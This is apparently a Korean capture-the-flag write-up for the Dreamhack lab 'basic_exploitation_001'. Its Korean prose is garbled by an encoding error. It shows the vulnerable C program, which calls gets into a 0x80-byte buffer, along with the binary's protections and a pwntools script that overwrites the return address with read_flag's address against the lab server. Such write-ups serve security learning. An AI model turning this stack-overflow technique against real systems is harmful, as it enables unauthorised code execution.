[dreamhack] basic_exploitation_001 ๋ฌธ์ ํ์ด
ํผ๊ณคํ๋ฐ ์ด์ฌํ ๋์์ผ๋๊น ์์ฌ์ ์ผ๋จ ํ๋ฌธ์ ํ๊ณ ์๋ ค๊ตฌ,,,
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ํ๊ฒฝ์ ๋ค์๊ณผ ๊ฐ๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
์ฐ์ ์์ค์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
gets๋ก buf๋ฅผ ๋ฐ์ stack buffer overflow๊ฐ ์กด์ฌํ๋ฉฐ ๋คํํ read_flag๋ผ๋ flag๋ฅผ ์ฝ์ ์ ์๋ ํจ์๋ ์๋ค.
์ฆ, ์ฐ๋ฆฌ๋ ret ํธ์ถํ๊ธฐ์ ๊ฐ์ ์๋ฌด ๋ฌธ์๋ก ์ฑ์ด ๋ค ret ๊ฐ์ read_flag์ฃผ์๋ฅผ ๋ฃ์ด ํด๋น ํจ์๋ฅผ ์คํํ๋๋ก ํด์ฃผ๋ฉด ๋ ๊ฒ ๊ฐ๋ค!
gdb์ p read_flag๋ฅผ ํจ์ผ๋ก์จ 0x80485b9 ๋ผ๋ ์ฃผ์๊ฐ์ ์ป์ ์ ์์๋ค.
buf ๊ฐ์ rbp-0x80์ด ์์ ์์น์ด๋ฉฐ ret ์ ์ธ rbp +0x4 ๊น์ง, ์ฆ 0x84๋งํผ ๊ฐ์ ๋ฎ์ด์์์ฃผ๋ฉด ๋๋ค.
๊ทธ๋ฆฌ๊ณ ๋ง์ง๋ง์ read_flag ์ฃผ์๊ฐ์ payload์ ์ถ๊ฐํ์ฌ ํด๋น ํจ์๊ฐ ์คํ๋๋๋ก ํ๋ค!!
๊ทธ๋ฆฌ๊ณ ์ฐ๋ฆฐ p.recv๋ฅผ ํตํด flag ๊ฐ์ ๋ฐ๋๋ค.
from pwn import *
p = remote('host1.dreamhack.games',15963) # ์๊ฒฉ ์๋ฒ ๋์์ผ๋ก ์ต์คํ๋ก์ ์ํ
context.arch = "i386" # x86 ์ํคํ
์ฒ
#0x80485b9
payload = b"A" * 0x84
#payload += "\xb9\x85\x04\x08"
payload += p32(0x80485b9)
p.sendline(payload)
#p.interactive()
print(p.recv())